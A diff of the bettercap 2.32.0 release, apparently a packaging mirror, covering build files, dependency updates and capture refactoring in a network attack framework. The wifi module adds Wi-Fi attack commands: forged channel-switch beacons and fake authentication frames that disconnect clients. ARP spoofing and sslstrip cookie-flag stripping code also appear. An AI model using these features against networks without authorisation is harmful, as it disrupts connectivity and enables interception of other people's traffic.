Codebase list bettercap / 6cbe5f9
New upstream version 2.32.0 Sophie Brun 2 years ago
29 changed file(s) with 453 addition(s) and 113 deletion(s). Raw diff Collapse all Expand all
11 PACKAGES ?= core firewall log modules network packets session tls
22 PREFIX ?= /usr/local
33 GO ?= go
4 GOFLAGS ?=
54
65 all: build
76
87 build: resources
9 $(GO) $(GOFLAGS) build -o $(TARGET) .
8 $(GOFLAGS) $(GO) build -o $(TARGET) .
109
1110 build_with_race_detector: resources
12 $(GO) $(GOFLAGS) build -race -o $(TARGET) .
11 $(GOFLAGS) $(GO) build -race -o $(TARGET) .
1312
1413 resources: network/manuf.go
1514
1716 @python3 ./network/make_manuf.py
1817
1918 install:
20 @mkdir -p $(PREFIX)/share/bettercap/caplets
21 @cp bettercap $(PREFIX)/bin/
19 @mkdir -p $(DESTDIR)$(PREFIX)/share/bettercap/caplets
20 @cp bettercap $(DESTDIR)$(PREFIX)/bin/
2221
2322 docker:
2423 @docker build -t bettercap:latest .
2524
2625 test:
27 $(GO) $(GOFLAGS) test -covermode=atomic -coverprofile=cover.out ./...
26 $(GOFLAGS) $(GO) test -covermode=atomic -coverprofile=cover.out ./...
2827
2928 html_coverage: test
30 $(GO) $(GOFLAGS) tool cover -html=cover.out -o cover.out.html
29 $(GOFLAGS) $(GO) tool cover -html=cover.out -o cover.out.html
3130
3231 benchmark: server_deps
33 $(GO) $(GOFLAGS) test -v -run=doNotRunTests -bench=. -benchmem ./...
32 $(GOFLAGS) $(GO) test -v -run=doNotRunTests -bench=. -benchmem ./...
3433
3534 fmt:
3635 $(GO) fmt -s -w $(PACKAGES)
3938 $(RM) $(TARGET)
4039 $(RM) -r build
4140
42 .PHONY: all build build_with_race_detector resources install docker test html_coverage benchmark fmt clean
41 .PHONY: all build build_with_race_detector resources install docker test html_coverage benchmark fmt clean
11
22 const (
33 Name = "bettercap"
4 Version = "2.31.1"
4 Version = "2.32.0"
55 Author = "Simone 'evilsocket' Margaritelli"
66 Website = "https://bettercap.org/"
77 )
00 package core
11
2 import "flag"
2 import (
3 "flag"
4 )
35
46 type Options struct {
57 InterfaceName *string
1719 MemProfile *string
1820 CapletsPath *string
1921 Script *string
22 PcapBufSize *int
2023 }
2124
2225 func ParseOptions() (Options, error) {
3639 MemProfile: flag.String("mem-profile", "", "Write memory profile to `file`."),
3740 CapletsPath: flag.String("caplets-path", "", "Specify an alternative base path for caplets."),
3841 Script: flag.String("script", "", "Load a session script."),
42 PcapBufSize: flag.Int("pcap-buf-size", -1, "PCAP buffer size, leave to 0 for the default value."),
3943 }
4044
4145 flag.Parse()
00 module github.com/bettercap/bettercap
11
2 go 1.12
2 go 1.16
33
44 require (
55 github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d
66 github.com/adrianmo/go-nmea v1.3.0
77 github.com/antchfx/jsonquery v1.1.4
8 github.com/antchfx/xpath v1.1.11 // indirect
8 github.com/antchfx/xpath v1.2.0 // indirect
99 github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67
1010 github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb
1111 github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf
1414 github.com/chzyer/logex v1.1.10 // indirect
1515 github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
1616 github.com/dustin/go-humanize v1.0.0
17 github.com/elazarl/goproxy v0.0.0-20210110162100-a92cc753f88e
17 github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4
1818 github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e // indirect
1919 github.com/evilsocket/islazy v1.10.6
2020 github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe
2626 github.com/google/gousb v2.1.0+incompatible
2727 github.com/gorilla/mux v1.8.0
2828 github.com/gorilla/websocket v1.4.2
29 github.com/hashicorp/mdns v1.0.3
29 github.com/hashicorp/mdns v1.0.4
3030 github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
3131 github.com/jpillora/go-tld v1.1.1
3232 github.com/koppacetic/go-gpsd v0.4.0
3333 github.com/kr/binarydist v0.1.0 // indirect
3434 github.com/malfunkt/iprange v0.9.0
35 github.com/mattn/go-isatty v0.0.13 // indirect
3536 github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b
36 github.com/miekg/dns v1.1.41
37 github.com/miekg/dns v1.1.43
3738 github.com/mitchellh/go-homedir v1.1.0
3839 github.com/pkg/errors v0.9.1 // indirect
39 github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac
40 github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452
4041 github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07
41 github.com/thoj/go-ircevent v0.0.0-20190807115034-8e7ce4b5a1eb
42 golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
43 golang.org/x/sys v0.0.0-20210514084401-e8d321eab015 // indirect
42 github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64
43 golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d
44 golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 // indirect
45 golang.org/x/text v0.3.7 // indirect
4446 golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
4547 gopkg.in/sourcemap.v1 v1.0.5 // indirect
4648 )
66 github.com/antchfx/xpath v1.1.7/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
77 github.com/antchfx/xpath v1.1.11 h1:WOFtK8TVAjLm3lbgqeP0arlHpvCEeTANeWZ/csPpJkQ=
88 github.com/antchfx/xpath v1.1.11/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
9 github.com/antchfx/xpath v1.2.0 h1:mbwv7co+x0RwgeGAOHdrKy89GvHaGvxxBtPK0uF9Zr8=
10 github.com/antchfx/xpath v1.2.0/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
911 github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67 h1:xzN6806c01hWTz8gjGsRjhOPlYj5/dNoZIR8CN9+O1c=
1012 github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67/go.mod h1:oafnPgaBI4gqJiYkueCyR4dqygiWGXTGOE0gmmAVeeQ=
1113 github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb h1:JWAAJk4ny+bT3VrtcX+e7mcmWtWUeUM0xVcocSAUuWc=
2830 github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
2931 github.com/elazarl/goproxy v0.0.0-20210110162100-a92cc753f88e h1:/cwV7t2xezilMljIftb7WlFtzGANRCnoOhPjtl2ifcs=
3032 github.com/elazarl/goproxy v0.0.0-20210110162100-a92cc753f88e/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
33 github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4 h1:lS3P5Nw3oPO05Lk2gFiYUOL3QPaH+fRoI1wFOc4G1UY=
34 github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
3135 github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
3236 github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e h1:CQn2/8fi3kmpT9BTiHEELgdxAOQNVZc9GoPA4qnQzrs=
3337 github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
5559 github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
5660 github.com/hashicorp/mdns v1.0.3 h1:hPneYJlzSjxFBmUlnDGXRykxBZ++dQAJhU57gCO7TzI=
5761 github.com/hashicorp/mdns v1.0.3/go.mod h1:P9sIDVQGUBr2GtS4qS2QCBdtgqP7TBt6d8looU5l5r4=
62 github.com/hashicorp/mdns v1.0.4 h1:sY0CMhFmjIPDMlTB+HfymFHCaYLhgifZ0QhjaYKD/UQ=
63 github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc=
5864 github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b h1:IpLPmn6Re21F0MaV6Zsc5RdSE6KuoFpWmHiUSEs3PrE=
5965 github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU=
6066 github.com/jpillora/go-tld v1.1.1 h1:P1ZwtKDHBYYUl235R/D64cdBARfGYzEy1Hg2Ikir3FQ=
7581 github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
7682 github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
7783 github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
84 github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
85 github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
7886 github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b h1:r12blE3QRYlW1WBiBEe007O6NrTb/P54OjR5d4WLEGk=
7987 github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b/go.mod h1:p4K2+UAoap8Jzsadsxc0KG0OZjmmCthTPUyZqAVkjBY=
8088 github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
8492 github.com/miekg/dns v1.1.27/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
8593 github.com/miekg/dns v1.1.41 h1:WMszZWJG0XmzbK9FEmzH2TVcqYzFesusSIB41b8KHxY=
8694 github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=
95 github.com/miekg/dns v1.1.43 h1:JKfpVSCB84vrAmHzyrsxB5NAr5kLoMXZArPSw7Qlgyg=
96 github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
8797 github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
8898 github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
8999 github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
92102 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
93103 github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac h1:kYPjbEN6YPYWWHI6ky1J813KzIq/8+Wg4TO4xU7A/KU=
94104 github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
105 github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452 h1:ewTtJ72GFy2e0e8uyiDwMG3pKCS5mBh+hdSTYsPKEP8=
106 github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
95107 github.com/rogpeppe/go-charset v0.0.0-20180617210344-2471d30d28b4/go.mod h1:qgYeAmZ5ZIpBWTGllZSQnw97Dj+woV0toclVaRGI8pc=
96108 github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
97109 github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
101113 github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA=
102114 github.com/thoj/go-ircevent v0.0.0-20190807115034-8e7ce4b5a1eb h1:EavwSqheIJl3nb91HhkL73DwnT2Fk8W3yM7T7TuLZvA=
103115 github.com/thoj/go-ircevent v0.0.0-20190807115034-8e7ce4b5a1eb/go.mod h1:I0ZT9x8wStY6VOxtNOrLpnDURFs7HS0z1e1vhuKUEVc=
116 github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64 h1:l/T7dYuJEQZOwVOpjIXr1180aM9PZL/d1MnMVIxefX4=
117 github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64/go.mod h1:Q1NAJOuRdQCqN/VIWdnaaEhV8LpeO2rtlBP7/iDJNII=
104118 golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
105119 golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
106120 golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
113127 golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
114128 golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1 h1:4qWs8cYYH6PoEFy4dfhDFgoMGkwAcETd+MmPdCPMzUc=
115129 golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
130 golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
131 golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d h1:LO7XpTYMwTqxjLcGWPijK3vRXg1aWdlNOVOHRq45d7c=
132 golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
116133 golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
117134 golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
118135 golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
126143 golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
127144 golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
128145 golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
146 golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
129147 golang.org/x/sys v0.0.0-20210514084401-e8d321eab015 h1:hZR0X1kPW+nwyJ9xRxqZk1vx5RUObAPBdKVvXPDUH/E=
130148 golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
149 golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 h1:rw6UNGRMfarCepjI8qOepea/SXwIBVfTKjztZ5gBbq4=
150 golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
131151 golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
132152 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
133153 golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
134154 golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
135155 golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
136156 golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
157 golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
158 golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
137159 golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
138160 golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
139161 golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
33 "bytes"
44 "compress/gzip"
55 "encoding/base64"
6
67 "github.com/robertkrimen/otto"
78 )
89
1213 if err != nil {
1314 return ReportError("Could not convert to string: %s", varValue)
1415 }
16
1517 return v
1618 }
1719
2022 if err != nil {
2123 return ReportError("Could not decode string: %s", call.Argument(0).String())
2224 }
25
2326 v, err := otto.ToValue(string(varValue))
2427 if err != nil {
2528 return ReportError("Could not convert to string: %s", varValue)
2629 }
30
2731 return v
2832 }
2933
6666 }
6767
6868 return otto.NullValue()
69 }
69 }
22 import (
33 "bytes"
44 "fmt"
5 "github.com/robertkrimen/otto"
65 "io"
76 "io/ioutil"
87 "net/http"
98 "net/url"
109 "strings"
10
11 "github.com/robertkrimen/otto"
1112 )
1213
1314 type httpPackage struct {
2526 return url.QueryEscape(s)
2627 }
2728
28 func (c httpPackage) Request(method string, uri string, headers map[string]string, form map[string]string, json string) httpResponse {
29 func (c httpPackage) Request(method string, uri string,
30 headers map[string]string,
31 form map[string]string,
32 json string) httpResponse {
2933 var reader io.Reader
3034
3135 if form != nil {
22 import (
33 "github.com/evilsocket/islazy/log"
44 "github.com/evilsocket/islazy/plugin"
5
65 "github.com/robertkrimen/otto"
76 )
87
174174 gwIP := mod.Session.Gateway.IP
175175 myMAC := mod.Session.Interface.HW
176176 for mod.Running() {
177 mod.arpSpoofTargets(gwIP, myMAC, true, true)
177 mod.arpSpoofTargets(gwIP, myMAC, true, false)
178178 for _, address := range neighbours {
179179 if !mod.Session.Skip(address) {
180180 mod.arpSpoofTargets(address, myMAC, true, false)
88 "sync"
99 "time"
1010
11 "github.com/bettercap/bettercap/network"
1112 "github.com/bettercap/bettercap/packets"
1213 "github.com/bettercap/bettercap/session"
1314
8283 return session.ErrAlreadyStarted(mod.Name())
8384 }
8485
85 if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
86 if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
8687 return err
8788 }
8889
77 "sync"
88
99 "github.com/bettercap/bettercap/log"
10 "github.com/bettercap/bettercap/network"
1011 "github.com/bettercap/bettercap/packets"
1112 "github.com/bettercap/bettercap/session"
1213
99100
100101 if mod.Running() {
101102 return session.ErrAlreadyStarted(mod.Name())
102 } else if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
103 } else if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
103104 return err
104105 } else if err = mod.Handle.SetBPFFilter("udp"); err != nil {
105106 return err
44 "net/http"
55 "net/url"
66 "regexp"
7 "strconv"
78 "strings"
8 "strconv"
99
1010 "github.com/bettercap/bettercap/log"
11 "github.com/bettercap/bettercap/modules/dns_spoof"
12 "github.com/bettercap/bettercap/network"
1113 "github.com/bettercap/bettercap/session"
12 "github.com/bettercap/bettercap/modules/dns_spoof"
1314
1415 "github.com/elazarl/goproxy"
1516 "github.com/google/gopacket"
2223 )
2324
2425 var (
25 httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
26 httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
2627 domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`)
27 flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`)
28 flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`)
2829 )
2930
3031 type SSLStripper struct {
8283 if enabled && s.handle == nil {
8384 var err error
8485
85 if s.handle, err = pcap.OpenLive(s.session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
86 if s.handle, err = network.Capture(s.session.Interface.Name()); err != nil {
8687 panic(err)
8788 }
8889
167168 origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1]
168169 strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1]
169170
170 log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"),tui.Bold(strippedHost.Hostname))
171 log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"), tui.Bold(strippedHost.Hostname))
171172 cookies := make([]string, len(res.Header["Set-Cookie"]))
172173 // replace domain and strip "secure" flag for each cookie
173174 for i, cookie := range res.Header["Set-Cookie"] {
55 "time"
66
77 "github.com/bettercap/bettercap/log"
8 "github.com/bettercap/bettercap/network"
89 "github.com/bettercap/bettercap/session"
910
1011 "github.com/google/gopacket/pcap"
4142 * could hang waiting for a timeout to expire ...
4243 */
4344 readTimeout := 500 * time.Millisecond
44 if ctx.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, readTimeout); err != nil {
45 if ctx.Handle, err = network.CaptureWithTimeout(mod.Session.Interface.Name(), readTimeout); err != nil {
4546 return err, ctx
4647 }
4748 } else {
66 "sync/atomic"
77 "time"
88
9 "github.com/bettercap/bettercap/network"
910 "github.com/bettercap/bettercap/packets"
1011 "github.com/bettercap/bettercap/session"
1112
114115 return session.ErrAlreadyStarted(mod.Name())
115116 }
116117 if mod.handle == nil {
117 if mod.handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
118 if mod.handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
118119 return err
119120 } else if err = mod.handle.SetBPFFilter(fmt.Sprintf("tcp dst port %d", synSourcePort)); err != nil {
120121 return err
88 "os"
99 "path/filepath"
1010 "regexp"
11 "runtime"
1112
1213 "github.com/bettercap/bettercap/session"
1314
2829 uiPath string
2930 }
3031
32 func getDefaultInstallBase() string {
33 if runtime.GOOS == "windows" {
34 return filepath.Join(os.Getenv("ALLUSERSPROFILE"), "bettercap")
35 }
36 return "/usr/local/share/bettercap/"
37 }
38
3139 func NewUIModule(s *session.Session) *UIModule {
3240 mod := &UIModule{
3341 SessionModule: session.NewSessionModule("ui", s),
3543 }
3644
3745 mod.AddParam(session.NewStringParameter("ui.basepath",
38 "/usr/local/share/bettercap/",
46 getDefaultInstallBase(),
3947 "",
4048 "UI base installation path."))
4149
5353 assocSilent bool
5454 assocOpen bool
5555 assocAcquired bool
56 csaSilent bool
57 fakeAuthSilent bool
5658 filterProbeSTA *regexp.Regexp
5759 filterProbeAP *regexp.Regexp
5860 apRunning bool
8789 assocSilent: false,
8890 assocOpen: false,
8991 assocAcquired: false,
92 csaSilent: false,
93 fakeAuthSilent: false,
9094 showManuf: false,
9195 shakesAggregate: true,
9296 writes: &sync.WaitGroup{},
213217 probe.Complete("wifi.probe", s.WiFiCompleterFull)
214218
215219 mod.AddHandler(probe)
220
221 channelSwitchAnnounce := session.NewModuleHandler("wifi.channel_switch_announce bssid channel ", `wifi\.channel_switch_announce ((?:[a-fA-F0-9:]{11,}))\s+((?:[0-9]+))`,
222 "Start a 802.11 channel hop attack, all client will be force to change the channel lead to connection down.",
223 func(args []string) error {
224 bssid, err := net.ParseMAC(args[0])
225 if err != nil {
226 return err
227 }
228 channel, _ := strconv.Atoi(args[1])
229 if channel > 180 || channel < 1 {
230 return fmt.Errorf("%d is not a valid channel number", channel)
231 }
232 return mod.startCSA(bssid, int8(channel))
233 })
234
235 channelSwitchAnnounce.Complete("wifi.channel_switch_announce", s.WiFiCompleterFull)
236
237 mod.AddHandler(channelSwitchAnnounce)
238
239 fakeAuth := session.NewModuleHandler("wifi.fake_auth bssid client", `wifi\.fake_auth ((?:[a-fA-F0-9:]{11,}))\s+((?:[a-fA-F0-9:]{11,}))`,
240 "send an fake authentication with client mac to ap lead to client disconnect",
241 func(args []string) error {
242 bssid, err := net.ParseMAC(args[0])
243 if err != nil {
244 return err
245 }
246 client, err := net.ParseMAC(args[1])
247 if err != nil {
248 return err
249 }
250 return mod.startFakeAuth(bssid, client)
251 })
252
253 fakeAuth.Complete("wifi.fake_auth", s.WiFiCompleterFull)
254
255 mod.AddHandler(fakeAuth)
256
257 mod.AddParam(session.NewBoolParameter("wifi.channel_switch_announce.silent",
258 "false",
259 "If true, messages from wifi.channel_switch_announce will be suppressed."))
260
261 mod.AddParam(session.NewBoolParameter("wifi.fake_auth.silent",
262 "false",
263 "If true, messages from wifi.fake_auth will be suppressed."))
216264
217265 mod.AddParam(session.NewStringParameter("wifi.deauth.skip",
218266 "",
507555 }
508556 }
509557
510 setRFMonMaybeFatal := false
558 /*
559 * We don't want to pcap.BlockForever otherwise pcap_close(handle)
560 * could hang waiting for a timeout to expire ...
561 */
562 opts := network.CAPTURE_DEFAULTS
563 opts.Timeout = 500 * time.Millisecond
564 opts.Monitor = true
565
511566 for retry := 0; ; retry++ {
512 ihandle, err := pcap.NewInactiveHandle(ifName)
513 if err != nil {
514 return fmt.Errorf("error while opening interface %s: %s", ifName, err)
515 }
516 defer ihandle.CleanUp()
517
518 /*
519 * Calling SetRFMon is fatal when the interface is already in monitor mode.
520 * gopacket has no GetRFMon analogue to SetRFMon with which we could check this, however ...
521 */
522 if !setRFMonMaybeFatal {
523 if err = ihandle.SetRFMon(true); err != nil {
524 return fmt.Errorf("error while setting interface %s in monitor mode: %s", tui.Bold(ifName), err)
567 if mod.handle, err = network.CaptureWithOptions(ifName, opts); err == nil {
568 // we're done
569 break
570 } else if retry == 0 && err.Error() == ErrIfaceNotUp {
571 // try to bring interface up and try again
572 mod.Info("interface %s is down, bringing it up ...", ifName)
573 if err := network.ActivateInterface(ifName); err != nil {
574 return err
525575 }
576 continue
577 } else if !opts.Monitor {
578 // second fatal error, just bail
579 return fmt.Errorf("error while activating handle: %s", err)
526580 } else {
527 mod.Debug("SetRFMon on interface %s might be fatal, skipping this time", tui.Bold(ifName))
528 }
529 if err = ihandle.SetSnapLen(65536); err != nil {
530 return fmt.Errorf("error while settng snapshot length: %s", err)
531 }
532 /*
533 * We don't want to pcap.BlockForever otherwise pcap_close(handle)
534 * could hang waiting for a timeout to expire ...
535 */
536 readTimeout := 500 * time.Millisecond
537 if err = ihandle.SetTimeout(readTimeout); err != nil {
538 return fmt.Errorf("error while setting timeout: %s", err)
539 } else if mod.handle, err = ihandle.Activate(); err != nil {
540 if retry == 0 && err.Error() == ErrIfaceNotUp {
541 mod.Debug("interface %s is down, bringing it up ...", ifName)
542 if err := network.ActivateInterface(ifName); err != nil {
543 return err
544 }
545 continue
546 }
547 if setRFMonMaybeFatal {
548 return fmt.Errorf("error while activating handle: %s", err)
549 } else {
550 mod.Warning("error while activating handle: %s, %s", err, tui.Bold("interface might already be monitoring. retrying!"))
551 setRFMonMaybeFatal = true
552 continue
553 }
554 }
555
556 break
581 // first fatal error, try again without setting the interface in monitor mode
582 mod.Warning("error while activating handle: %s, %s", err, tui.Bold("interface might already be monitoring. retrying!"))
583 opts.Monitor = false
584 }
557585 }
558586 }
559587
0 package wifi
1
2 import (
3 "bytes"
4 "fmt"
5 "github.com/bettercap/bettercap/network"
6 "github.com/bettercap/bettercap/packets"
7 "github.com/google/gopacket/layers"
8 "net"
9 )
10
11 func (mod *WiFiModule) isCSASilent() bool {
12 if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil {
13 mod.Warning("%v", err)
14 } else {
15 mod.csaSilent = is
16 }
17 return mod.csaSilent
18 }
19
20 func (mod *WiFiModule) sendBeaconWithCSAPacket(ap *network.AccessPoint, toChan int8) {
21 ssid := ap.ESSID()
22 if ssid == "<hidden>" {
23 ssid = ""
24 }
25 hw, _ := net.ParseMAC(ap.BSSID())
26
